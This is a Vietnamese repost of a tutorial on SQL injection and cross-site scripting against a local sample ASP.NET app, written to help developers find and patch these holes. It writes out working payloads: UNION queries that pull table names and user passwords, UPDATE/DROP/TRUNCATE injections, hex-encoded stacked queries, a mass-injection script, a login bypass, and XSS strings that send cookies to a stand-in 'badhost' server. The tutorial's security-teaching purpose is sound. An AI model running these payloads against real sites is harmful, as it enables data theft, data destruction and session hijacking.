Thứ Hai, 22 tháng 4, 2019

SQL Injection và Cross-Site Scripting

Đăng Bởi: Admin - tháng 4 22, 2019 - 0 Bình Luận

https://www.codeproject.com/Articles/102284/SQL-Injection-and-Cross-Site-Scripting-2

SQL Injection và Cross-Site Scripting


Giới thiệu

Trong vài tháng qua, tôi đã giúp vá một số ứng dụng web cũ từ các lỗ hổng Cross-Site Scripting và SQL Injection. Tôi đã tìm thấy rất nhiều bài viết liên quan đến chủ đề này thông qua Google nhưng đọc và thử nghiệm chúng gần như là hai điều khác nhau. Vì vậy, tôi quyết định kết hợp một mã mẫu nhỏ để kiểm tra các lỗ hổng mà tôi tìm thấy. Bạn được chào đón để tải mã mẫu này.

SQL Injection và Cross-Site Scripting là gì

Tập lệnh chéo trang (XSS hoặc CSS)
  • Cho phép kẻ tấn công độc hại tiêm đoạn mã phía máy khách (JavaScript) hoặc đánh dấu HTML vào các trang web được người dùng khác xem.
Tiêm SQL
  • Chèn một truy vấn SQL thông qua dữ liệu đầu vào từ máy khách đến ứng dụng mà sau đó được chuyển đến một phiên bản của SQL Server để phân tích cú pháp và thực thi.
  • Rất phổ biến với các ứng dụng PHP và Classic ASP.
Các cuộc tấn công SQL Injection và Cross-Site Scripting không phải là chủ đề tương đối mới. Đọc thêm từ:
Các lỗ hổng được đề cập có thể xảy ra thông qua:
  1. Chuỗi truy vấn
  2. Mẫu đầu vào hộp

Ứng dụng mẫu / Sử dụng mã

Các bước để thiết lập ứng dụng mẫu

  1. Tạo một cơ sở dữ liệu mới và đặt tên là TestDB.
  2. Tạo một đăng nhập mới và ánh xạ nó tới TestDB.
  3. Chạy TestDBSetup.sql .

Các bước để chạy ứng dụng mẫu

  1. Mã mẫu này yêu cầu Visual Studio 2008 hoặc mới hơn; nếu bạn không có nó, hãy tải xuống phiên bản dùng thử 90 ngày từ Microsoft ( Bấm vào đây ).
  2. Tải về mã mẫu và giải nén nó.
  3. Cập nhật chuỗi kết nối trong web.config .
  4. Chạy ứng dụng và làm theo mẫu được mô tả trong bài viết này. Xin lỗi, văn bản được tô sáng không hiển thị chính xác ở đây. Đảm bảo xóa mọi ngắt dòng khỏi URL mẫu khi sao chép và dán.
  5. Dưới đây là cấu trúc của mã mẫu.
Hình 1
Cấu trúc tệp

Chuỗi truy vấn

Tiêm SQL

Định nghĩa : Chèn một truy vấn SQL thông qua dữ liệu đầu vào từ máy khách đến một ứng dụng mà sau đó được chuyển đến một phiên bản của SQL Server để phân tích cú pháp và thực thi.

UNION SQL Tiêm

Chúng tôi sẽ sử dụng UNIONcâu lệnh để khai thác tất cả các tên bảng trong cơ sở dữ liệu. Hai dấu gạch nối liên tiếp "-" chỉ ra các nhận xét SQL. Xem bên dưới rằng các nhận xét có màu xanh lục, câu lệnh truy vấn sau dấu gạch nối sẽ không được máy chủ SQL đánh giá.
Liệt kê 1
SELECT * FROM dbo.MyComments WHERE ID = 1 --ORDER BY [Name]
Thực hiện URL hiển thị bên dưới:
Liệt kê 2
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL FROM 
INFORMATION_SCHEMA.TABLES--
Nó sẽ mang lại kết quả "Tất cả các truy vấn được kết hợp bằng toán tử UNION, INTERSECT hoặc EXCEPT phải có số lượng biểu thức bằng nhau trong danh sách mục tiêu của chúng." Thông báo lỗi này xuất hiện nếu chúng ta cố gắng chạy một UNIONINTERSECThoặc EXCEPTtruy vấn mà có không phải là một số lượng tương đương các biểu thức trong nó SELECTphần danh sách. Cách giải quyết là tiếp tục thêm NULLbiểu thức trong URL cho đến khi thông báo lỗi biến mất.
Liệt kê 3
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL 
FROM INFORMATION_SCHEMA.TABLES--
  …
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL, 
NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES--
Thông báo lỗi sẽ biến mất nếu truy vấn có số lượng biểu thức bằng nhau trong UNIONtruy vấn. Tiếp theo, hãy thử thay thế từng NULLgiá trị bằng TABLE_NAME. Nếu bạn nhận được một thông báo lỗi, hãy để lại như là NULL.
Liệt kê 4
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, TABLE_NAME, 
TABLE_NAME, TABLE_NAME, TABLE_NAME, NULL, NULL FROM INFORMATION_SCHEMA.TABLES--

Các kết quả

Hình 2
Tên bảng
Từ đầu ra được hiển thị ở trên, chúng tôi biết rằng cơ sở dữ liệu chứa một số bảng là MyComments, tbl_QueryInjection, tbl_users và TestTable. Tiếp theo, chúng tôi sẽ trích xuất mọi tên cột trong bảng tbl_users. Thực thi URL được hiển thị trong danh sách 5.
Liệt kê 5
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, COLUMN_NAME, 
COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME = 'tbl_users'--

Kết quả

Hình 3
cột tbl_users
Từ đầu ra được hiển thị ở trên, chúng ta có thể thấy rằng tbl_users chứa các cột địa chỉ, mật khẩu, điện thoại, bí mật, secret2 và tên người dùng. Để xác nhận điều đó, được hiển thị bên dưới là ảnh chụp nhanh của lược đồ bảng tbl_users từ SQL Server.
hinh 4
cột SQL tbl_users
Lặp lại cùng một bước với một tên bảng khác.
Liệt kê 6
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, COLUMN_NAME, 
COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME = 'MyComments'--
Hãy để chúng tôi lấy dữ liệu được lưu trữ trong bảng tbl_users. % 2b và % 27 lần lượt là các bảng mã URL của "+" và "'". Thực hiện URL được hiển thị dưới đây.
Liệt kê 7
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, username%2B 
%27 - %27%2Bpassword, secret %2B %27 - %27 %2B secret2, address, phone %2B %27 
- %27 %2Baddress, NULL, NULL FROM tbl_users--

Các kết quả

Hình 5
nội dung tbl_users
Để xác nhận điều đó, hiển thị bên dưới là ảnh chụp nhanh của nội dung bảng tbl_users. Lặp lại bước tương tự cho các bảng còn lại.
Hình 6
SQL nội dung tbl_users

Lấy dữ liệu từ bảng sys Processes

Chúng tôi cũng có thể truy xuất tên đối tượng SQL Server, tên đăng nhập, tên cơ sở dữ liệu, phiên bản SQL Server và vân vân từ bảng master..sys Processes . Thực hiện URL bên dưới và quan sát đầu ra.
Liệt kê 8
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, DB_Name([dbid]) 
%2B CHAR(0x2d) %2B loginame, net_address, hostname %2B CHAR(0x2d) %2B %40%40ServerName, 
%40%40version, NULL, NULL FROM master..sysprocesses--

CẬP NHẬT bảng

Liệt kê 9
http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE tbl_Users SET Password 
= 'HACKED' WHERE username ='test@test.com' --

Kết quả

Hình 7
Sửa đổi mật khẩu SQL

XÓA dữ liệu trong bảng

Liệt kê 10
http://localhost:1234/Sample/ListComments.aspx?cid=99999 
   DELETE FROM tbl_Users WHERE username ='test@test.com' --

TRUNCATE bảng

Liệt kê 11
http://localhost:1234/Sample/ListComments.aspx?cid=99999 TRUNCATE TABLE tbl_Users --

DROP bảng

Liệt kê 12
http://localhost:1234/Sample/ListComments.aspx?cid=99999 DROP TABLE tbl_Users --

SQL dựa trên Hex

Thỉnh thoảng, chúng ta sẽ thấy một số mục lạ như được liệt kê bên dưới trong tệp nhật ký máy chủ:
Liệt kê 13
http://www.YourDomain.com/SomePage.asp?id=1 &cat=c DECLARE%20@S%20NVARCHAR(4000);
SET%20@S=CAST(4445434c415245204054207661726368617228323535292c40432076617263
68617228343030302920da4445434c415245205461626c655f437572736f7220435552534f52204
64f5220da73656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a656374
7320612c737973636f6c756d6e73206220da776865726520612e69643d622e696420616e6420612
e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335
206f7220622e78747970653d323331206f7220622e78747970653d3136372920da4f50454e20546
1626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f
7220494e544f2040542c4043205748494c452840404645…
Mà khi được giải mã thành chuỗi sẽ trở thành ( vui lòng không sao chép và chạy truy vấn này ):
Liệt kê 14
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
 select a.name,b.name from sysobjects a,syscolumns b 
 where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 
 or b.xtype=167)
 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
 BEGIN
 exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://badscript.com/bad.js"> 
 </script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script 
 src="http://badscript.com/bad.js"></script><!--''')
 FETCH NEXT FROM 
 Table_Cursor INTO @T,@C END CLOSE
 Table_Cursor DEALLOCATE Table_Cursor
Truy vấn trên sẽ tìm thấy tất cả các cột văn bản trong bảng của mỗi cơ sở dữ liệu và nối thêm một tập lệnh độc hại vào nó.

Thí dụ

Dưới đây là một URL có chuỗi truy vấn để lấy nhận xét từ SQL Server bằng ID nhận xét:
http://localhost:1234/Sample/ListComments.aspx?cid=1
Để đơn giản, tôi đang sử dụng một Updatecâu lệnh đơn giản để cập nhật bảng. Các " UPDATE dbo.MyComments SET test='HACKED'" truy vấn sẽ trông giống như 0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 trong hệ thập lục phân. Các 3b% là mã hóa URL của ";" tính cách. Nối chuỗi vào URL. Xem bên dưới.
Liệt kê 15
http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(255) 
SET @s=CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 
AS VARCHAR(255)) exec (@s)--
Or
http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(255)SET 
@s=CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 
AS VARCHAR(255)) exec (@s)--
Trước khi thực hiện URL trên:
Hình 8
Trước khi thực hiện
Sau khi thực hiện URL trên:
Hình 9
Sau khi tiêm qs

Bài kiểm tra nhanh

Nối chuỗi dưới đây vào URL của trang web của bạn có tham số:
Liệt kê 16
http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(500)
SET @s= CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c275527292
04953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6e5d2
85b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494e544f20646
26f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d205375626a65637420746
f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)--
Nếu giá trị tham số URL không phải là số nguyên, hãy thử nối thêm '; hoặc '); hoặc ở phía trước của DECLAREtừ khóa. Xem ví dụ bên dưới.
Liệt kê 17
; DECLARE @S VARCHAR(500) SET @s= CAST(0x4946204f424a4543545f4944282774626c5f53514c
496e6a656374696f6e272c27552729204953204e554c4c20435245415445205441424c452064626f2e5b7462
6c5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c
2920494e5345525420494e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c45435420277061
6765202d205375626a65637420746f2053514c20496e6a656374696f6e27 
as VARCHAR(500))Exec(@s)--
Sau đó, thực hiện truy vấn này: " SELECT * FROM dbo.tbl_SQLInjection" trong SQL Server Management Studio. Nếu bạn thấy kết quả tương tự với kết quả được hiển thị bên dưới, thì trang web phải chịu SQL Injection dựa trên hex. Lặp lại bước trên cho phần còn lại của các trang web.
Hình 10
afrer bị hack
Nếu giá trị tham số URL không phải là số nguyên, hãy thử nối thêm '; hoặc '); hoặc ở phía trước của truy vấn.

Tấn công Cross-Site Scripting (CSS / XSS)

Định nghĩa : Cho phép kẻ tấn công độc hại tiêm đoạn mã phía máy khách hoặc đánh dấu HTML vào các trang web được người dùng khác xem. Giả sử chúng ta có một trang đăng nhập và nó sẽ hiển thị thông báo lỗi cho mọi lần thử không thành công. Thông báo lỗi được lưu trữ trong chuỗi truy vấn của URL và sau đó được hiển thị trong Labelđiều khiển. Xem hình 11.
Hình 11
Trang đăng nhập
Hãy xem xét kịch bản này, một người dùng ẩn danh gửi cho bạn một email với nội dung sau:
Liệt kê 18
Dear Admin,
There is problem with the login page: http://localhost:1234/Sample/
LoginPage.aspx?strErr=%22%3E%3C%73%63%72%69%70%
74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%39%37%
2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69%70%74%2E%6A%73%22%
3E%3C%2F%73%63%72%69%70%74%3E
Or
"There is problem with the login page http://localhost:1234/Sample/LoginPage.aspx" 
  with the URL pointing to the above link.
Một phần của URL được mã hóa dưới dạng giá trị thập lục phân. Khi được giải mã, nó sẽ trở thành:
Liệt kê 19
http://localhost:1234/Sample/LoginPage.aspx?strErr=">
   <script src="http://localhost:9997/badhost/maliciousscript.js"></script>
Nếu chúng tôi cảnh giác và nhấp vào liên kết trong email, trình duyệt sẽ thực thi các tập lệnh độc hại. Thực thi URL và bạn sẽ thấy một thông báo bật lên. Dưới đây là một tập lệnh được nhúng trong chuỗi truy vấn để đánh cắp cookie của trình duyệt.
Liệt kê 20
http://localhost:1234/Sample/LoginPage.aspx?strErr=%3C%73%63%72%69%70%74%3E%76%61%72%
20%73%3D%27%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%
65%22%20%53%52%43%3D%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%39%37%2F%62%
61%64%68%6F%73%74%2F%63%6F%6F%6B%69%65%6D%6F%6E%73%74%65%72%2E%61%73%70%78%3F%63%3D%27%2b%
65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%2b%27%3E%3C%5C%2F%49%
46%52%41%4D%45%3E%27%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29%3C%2F%73%63%72%
69%70%74%3E
Khi được giải mã, nó sẽ trông như:
Liệt kê 21
http://localhost:1234/Sample/LoginPage.aspx?strErr=<script>var s='<IFRAME 
style="display:none" SRC=http://localhost:9997/badhost/cookiemonster.aspx?c=
'%2bescape(document.cookie)%2b'><\/IFRAME>';document.write(s)</script>
Tập lệnh sẽ nhúng một IFRAMEtrang vào trang và trỏ đến http: // localhost: 9997 / badhost / cookiemonster.aspxvới tham số chuỗi truy vấn "c". Tham số này giữ giá trị cookie được tạo bởi ứng dụng " SQLInjection_XSS_Demo ". Để chứng minh điều này, tôi đã tạo một vài cookie trên LoginPage.aspx . cookiemonster.aspx sẽ ghi lại tất cả các tên và giá trị cookie trong CookieJar.txt .
Liệt kê 22
void FakeCookies()
{
  Response.Cookies["email"].Value = "bryian.tan@mydomain.com";
  Response.Cookies["email"].Expires = DateTime.Now.AddDays(1);
  Response.Cookies["age"].Value = "22";
  Response.Cookies["age"].Expires = DateTime.Now.AddDays(1);
}
Sau khi thực hiện URL trên, chúng ta sẽ thấy các mục bên dưới trong CookieJar.txt .
Hình 12
Danh sách cookie
Vậy thì sao? Kẻ tấn công sẽ làm gì với thông tin cookie của tôi? Giả sử trang sẽ lưu trữ một số thông tin trong cookie sau khi đăng nhập thành công. Đăng nhập bằng một trong những tên người dùng được tìm thấy trong bảng tbl_users sau đó làm mới trang web. Trang sẽ lấy ra một số thông tin từ cookie và hiển thị kết quả trên trang. Xem bên dưới.
Hình 13
Dữ liệu từ Cookies

Cập nhật bảng với tập lệnh độc hại

Chúng ta đã biết các bảng và tên cột từ ví dụ trước. Thực thi URL được hiển thị trong danh sách 23 để cập nhật bảng MyVer bằng JavaScript để giả mạo cookie. Tập lệnh này sẽ đưa tập lệnh vào giá trị cookie. Sau đó điều hướng đến trang ListComments.aspx để kích hoạt tập lệnh và điều hướng trở lại LoginPage.aspx . Bạn sẽ thấy một thông báo bật lên " XSS từ máy chủ xấu " cho biết rằng tập lệnh đã được trình duyệt thực thi thành công.
Liệt kê 23
http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments SET Comment 
= %27<script>c="\<script src=\"http://localhost:9997/
badhost/maliciousscript.js\"><\/script>"; 
document.cookie = "email="%2bc;</script> test %27 WHERE id =1 --
Hãy thêm một số tập lệnh độc hại vào bảng MyVer . Thực hiện URL hiển thị bên dưới:
Liệt kê 24
http://localhost:1234/Sample/ListComments.aspx?cid=1 
%55%50%44%41%54%45%20%4D%79%43%6F%6D%6D%65
%6E%74%73%20%53%45%54%20%4E%61%6D%65%3D%27%3C%73%63%72%69%70%74%20%73%
72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%3
9%37%2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69
%70%74%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%20%2D%2D
Một phần của chuỗi URL, khi được giải mã, sẽ trở thành:
Liệt kê 25
http://localhost:1234/Sample/ListComments.aspx?cid=1 
UPDATE MyComments SET Name='<script 
src="http://localhost:9997/badhost/maliciousscript.js"></script>' --
Làm mới trang và chúng ta sẽ thấy thông báo bật lên được hiển thị bên dưới. Điều này chỉ ra rằng tập lệnh độc hại do kẻ tấn công tạo ra đã được trình duyệt thực hiện thành công.
Hình 14
XSS từ máy chủ xấu
URL hiển thị bên dưới sẽ nhúng HTML IFramevào trang và sẽ kích hoạt trang cookiemonster.aspx mỗi khi người dùng điều hướng đến trang ListComments.aspx . Thực thi nó, điều hướng đến trang ListComments.aspx và quan sát rằng các nội dung mới đang được thêm vào tệp CookieJar.txt mà không có dấu vết hoặc thông báo cảnh báo.
Liệt kê 26
http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments SET Name= 
'<script>var s="<IFRAME style=display:none 
SRC=http://localhost:9997/badhost/cookiemonster.aspx?
c="%2bescape(document.cookie)%2b"><\/IFRAME>";document.write(s)</script>' --

Bài kiểm tra nhanh

Nối bất kỳ chuỗi nào dưới đây vào URL của trang web của bạn có tham số. Nếu bạn thấy một thông báo bật lên, thì trang web sẽ bị tấn công Cross-Site Scripting.
  • http: // localhost: 1234 / Mẫu / LoginPage.aspx? strErr = "> <ScrIpt> alert (" XSS ") </ scriPt>
  • http: // localhost: 1234 / Sample / LoginPage.aspx? strErr =% 3C% 73% 63% 72% 69% 70% 74% 3E% 61% 6C% 65% 72% 74% 28% 22% 58% 53 % 53% 22% 29% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E
  • http: // localhost: 1234 / Sample / LoginPage.aspx? strErr = </ TITLE> <sCRIPT> alert ("XSS"); </ SCRIPt>
  • http: // localhost: 1234 / Mẫu / LoginPage.aspx? strErr = <BODY% 20ONLOAD = alert ("XSS")>
  • http: // localhost: 1234 / Sample / LoginPage.aspx? strErr = "> <iFRAME% 20SRC =" javascript: alert ('XSS'); "> </ IFRaME>

Hình thức đầu vào

Tiêm SQL

Chúng ta có thể bỏ qua trang đăng nhập bằng cách thêm 'hoặc 1 = 1 - hoặc ') hoặc 1 = 1-- vào ID đăng nhập và đặt bất kỳ giá trị nào vào trường mật khẩu. Xem ví dụ dưới đây.
Hình 15
Màn hình đăng nhập SQL Injection
Nếu không có số lượng ký tự tối đa được xác định trên TextBox, kẻ tấn công có thể nối câu lệnh SQL được đề cập ở trên vào giá trị của biểu mẫu đầu vào. Giả sử chúng ta có một trang để cập nhật nhận xét và tôi cập nhật nhận xét với giá trị được hiển thị bên dưới. Chúng ta sẽ thấy một mục mới trong bảng tbl_QueryInjection sau khi cập nhật.
Liệt kê 27
'; DECLARE @S VARCHAR(500) SET @s= CAST(0x4946204f424a4543545f4944282774626c5f53514c
  496e6a656374696f6e272c27552729204953204e554c4c20435245415445205441424c452064626f2e5b74626c
  5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c2920
  494e5345525420494e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765
  202d205375626a65637420746f2053514c20496e6a656374696f6e27 
  as VARCHAR(500))Exec(@s)--
Tiếp theo, tôi sẽ trình bày một cách đơn giản kẻ tấn công có thể cập nhật mọi cột trong bảng có cùng giá trị. Hãy cập nhật giá trị Tên với một bản hack '; -
Hình 16
Cập nhật giá trị cột thành hack
Truy xuất tất cả các hàng từ bảng MyComments và bạn sẽ thấy rằng tất cả các giá trị trong cột Tên đã được cập nhật thành "bị hack". Như đã đề cập trước đó, hai dấu gạch nối liên tiếp "-" chỉ ra các nhận xét SQL; câu lệnh truy vấn sau dấu gạch nối sẽ không được SQL Server đánh giá. Vui lòng đảm bảo sao lưu cơ sở dữ liệu trước khi sao chép bản trình diễn này.
Hình 17
cập nhật mẫu tiêm

Cross-Site Scripting

Cross-Site Scripting cho phép những kẻ tấn công độc hại tiêm đoạn mã phía máy khách hoặc đánh dấu HTML vào các trang web được người dùng khác xem. Điều này có thể xảy ra thông qua các hình thức đầu vào. Cập nhật nhận xét bằng chuỗi " <script src =" http: // localhost: 9997 / badhost / toxscript.js "> </ script> ". Bạn sẽ thấy một thông báo bật lên khi bạn điều hướng đến trang ListComments.aspx .
Hình 18
Biểu mẫu cập nhật với XSS

Bài kiểm tra nhanh

Cập nhật giá trị biểu mẫu với bất kỳ chuỗi nào được liệt kê bên dưới và quan sát kết quả. Hãy chắc chắn rằng chuỗi nằm trong một dòng và không ngắt dòng. Nếu JavaScript được trình duyệt thực thi thành công hoặc hiển thị kết quả không mong muốn, thì trang web phải chịu kịch bản Cross-Site.
  • <BODY ONLOAD = '' javascript: window.location = "http://www.google.com" ''>
  • <BODY ONLOAD = "javascript: alert ('' XSS '')">
  • <p onmouseover = javascript: window.location = "http: // www. google.com";> kiểm tra
  • <p onmousemove = javascript: window.location = "http: // www. google.com";> kiểm tra
  • <p onMouseDown = javascript: window.location = "http://www.google.com";> kiểm tra
  • <span onmouseover = javascript: window.location = "http: // www. google.com";> kiểm tra </ span>
  • <span onmousemove = javascript: window.location = "http://www.google.com";> kiểm tra </ span>
  • <h2 onmouseover = javascript: window.location = "http://www.google.com";> kiểm tra
  • <div onmouseover = javascript: window.location = "http: // 1208929383";> kiểm tra
  • <meta http-Equiv = "refresh" content = "1; URL = http: // 1208929383">
  • <b onmouseover = javascript: window.location = "http://www.google.com";> kiểm tra
  • <img onmouseover = javascript: window.location = "http://www.google.com";>
  • <img src = http: //www.google.com/images/srpr/nav_logo14.png width = "1" height = "1" onLoad = javascript: window.location = "http://www.google.com" ;>
  • <div style = "width: 100%" onresize = javascript: window.location = "http://www.google.com";> test </ div> (Thay đổi kích thước trình duyệt để xem hành vi)
  • <tt style = "width: 100%" onmousemove = javascript: window.location = "http://www.google.com";> kiểm tra
  • Thử nghiệm <PLAINTEXT>
  • kiểm tra <đối tượng>
  • kiểm tra <applet>
  • kiểm tra <textarea>
  • kiểm tra <title>
  • kiểm tra <bảng>
  • kiểm tra <phong cách>
  • kiểm tra <noscript>

Lỗ hổng JavaScript Sự kiện tiêm

Các JavaScriptFunctionInjection.aspx trang chứa hai ví dụ về làm thế nào để sao chép tiêm lỗ hổng tổ chức sự kiện JavaScript sử dụng các thẻ inline ASP.NET và một điều khiển đầu vào client-side. Ví dụ đầu tiên sử dụng một trích dẫn và ví dụ thứ hai sử dụng một trích dẫn. Xem Hình 19. Lỗ hổng này sẽ hoạt động với TextBoxđiều khiển ASP.NET nếu ValidateRequestđược đặt thành falseSao chép một trong các đầu vào kiểm tra mẫu và nhấn nút Gửi (xem Hình 19).
Hình 19
Ví dụ tiêm JavaScript
Nhập một cái gì đó vào hộp đầu vào và bạn sẽ thấy một kết quả tương tự như trong Hình 20. Lưu ý : Đầu ra từ ví dụ đầu tiên được mã hóa và trích dẫn đơn được thay thế bằng một trích dẫn kép về mục đích.
Hình 20
Kết quả tiêm sự kiện JavaScript
Chuyện gì đang xảy ra vậy? Chúng tôi đã mã hóa đầu ra và thay thế trích dẫn đơn bằng trích dẫn kép! Chúng ta hãy xem xét kỹ hơn về mã đánh dấu HTML. Sự kiện JavaScript đã được đưa vào thành công ví dụ đầu tiên nhưng được coi là một chuỗi bởi ví dụ thứ hai. Các HtmlEncodephương pháp đã không thoát khỏi dấu nháy đơn nhưng đã trốn thoát báo giá một cách chính xác. Tôi sẽ đề nghị tránh gói mã nội tuyến ASP.NET ở giữa trích dẫn. Đừng quên kiểm tra ví dụ thứ hai. Đầu ra từ ví dụ thứ hai không được mã hóa theo mục đích.
Liệt kê 28
<input id="Text1" name="Text1" type="text" value='a''

    onKeyDown=alert("gotcha+onKeyDown") '''  />

<input id="Text2" name="Text2" type="text" value="a''
    onKeyDown=alert("gotcha+onKeyDown") ''" />

Điểm quan tâm

Không chỉ dựa vào xác thực phía máy khách (JavaScript)

Kẻ tấn công có thể bỏ qua xác thực phía máy khách bằng cách vô hiệu hóa JavaScript trong trình duyệt web. Không phụ thuộc hoàn toàn vào JavaScript để tìm kiếm và thay thế các câu lệnh HTML nguy hiểm hoặc từ khóa SQL Injection. Đảm bảo xác nhận lại đầu vào của người dùng ở phía máy chủ. Tôi biết đây là rất nhiều công việc, nhưng vì an ninh, chúng tôi phải làm điều đó. Trong phần Thêm Nhận xét, trang sử dụng JavaScript để kiểm tra các trường trống. Cố gắng vô hiệu hóa JavaScript trên trình duyệt của bạn và thêm nhận xét một lần nữa. Nhấn vào đây để tìm hiểu cách vô hiệu hóa và kích hoạt JavaScript.

Thay thế dấu ngoặc đơn (') bằng hai dấu ngoặc đơn (' ')

Tôi thấy một số trang web đề cập đến lỗ hổng SQL Injection có thể được ngăn chặn bằng cách thay thế dấu ngoặc kép đơn bằng dấu ngoặc kép. Không phải trường hợp nào cũng vậy; Những kẻ tấn công vẫn có thể tiêm một bảng với tập lệnh độc hại hoặc đánh dấu HTML mà không có dấu ngoặc kép. Người dùng độc hại có thể bỏ qua bộ lọc bằng cách sử dụng mã hóa ký tự khác; vui lòng tham khảo " Cách thực hiện: Ngăn chặn kịch bản chéo trang web trong ASP.NET ", bảng 1.

Mã / thẻ nội tuyến

Có một số cách để hiển thị thông tin từ một chương trình ASP.NET. Chúng tôi có thể hiển thị thông tin trong trang bằng cách sử dụng khối mã nhúng. <% ...%> hoặc sử dụng cấu trúc <% = bù%> . Một cách khác là sử dụng cú pháp liên kết dữ liệu <% # Mới%> để liên kết các giá trị thuộc tính điều khiển với dữ liệu và chỉ định các giá trị để truy xuất, cập nhật, xóa và chèn dữ liệu. Hãy chắc chắn rằng để áp dụng một trong hai HttpUtility.HtmlEncodehoặc Server.HtmlEncodephương pháp để mã hóa các dữ liệu mẫu và yêu cầu khách hàng khác trước khi hiển thị nó trong trang web. Điều này sẽ giúp ngăn chặn các cuộc tấn công tiêm chích Cross-Site Scripting có thể xảy ra. Với ASP.NET 4.0, nugget-cú pháp mã <%: Mới%> sẽ tự động mã hóa HTML đầu ra trước khi nó được hiển thị.

Thủ tục lưu trữ

Tôi sử dụng Thủ tục lưu trữ trong ứng dụng web của mình. Các thủ tục được lưu trữ có miễn dịch với các cuộc tấn công SQL Injection không? Câu trả lơi con phụ thuộc vao nhiêu thư". Nếu chúng ta đang sử dụng các câu lệnh SQL động trong Các thủ tục được lưu trữ, thì chúng có thể được mở cho các cuộc tấn công SQL Injection. Dưới đây là một Thủ tục được lưu trữ với một câu lệnh SQL động trong đó.
Hình 21
SQL động
Cập nhật trường nhận xét với giá trị ha ha ha '; - . Nút "Cập nhật bằng truy vấn nội tuyến" và "Cập nhật bằng SP - Truy vấn động" sẽ cập nhật mọi trường nhận xét trong bảng với giá trị được chỉ định. Mặt khác, nút "Cập nhật bằng SP" sẽ chỉ cập nhật bản ghi hiện tại.
Hình 22
Cập nhật bình luận

Yêu cầu xác thực (ASP.NET)

Xin lưu ý rằng ValidateRequestthuộc tính trong @pagechỉ thị được đặt thành false nhằm mục đích mô phỏng môi trường Classic ASP và ngăn .NET Framework ném lỗi: " Request.FormĐã phát hiện giá trị nguy hiểm tiềm tàng từ máy khách". Nếu bạn tình cờ bắt gặp thông báo lỗi này trong ứng dụng của mình, hãy suy nghĩ lại về logic nghiệp vụ hoặc kiến ​​trúc trang trước khi vô hiệu hóa xác thực yêu cầu.

Đọc thêm / Ngăn chặn SQL Injection và Cross-Side Scripting

Phần kết luận

Tôi hy vọng ai đó sẽ tìm thấy thông tin này hữu ích. Nếu bạn tìm thấy bất kỳ lỗi hoặc không đồng ý với nội dung, vui lòng gửi cho tôi một dòng và tôi sẽ làm việc với bạn để sửa nó. Tôi sẽ đề nghị tải xuống bản demo và khám phá nó để nắm bắt toàn bộ khái niệm về nó. Vui lòng gửi cho tôi một email nếu bạn muốn giúp cải thiện bài viết này.

Lịch sử

18/08/2017 - Được cập nhật để thay thế các liên kết lỗi thời trong Tài nguyên và Đọc thêm / Ngăn chặn SQL SQL và Viết kịch bản chéo

Tài nguyên

Tải xuống

Phản Hồi Độc Giả

Một số lưu ý khi bình luận

Mọi bình luận sai nội quy sẽ bị xóa mà không cần báo trước (xem nội quy)

Bấm Thông báo cho tôi bên dưới khung bình luận để nhận thông báo khi admin trả lời

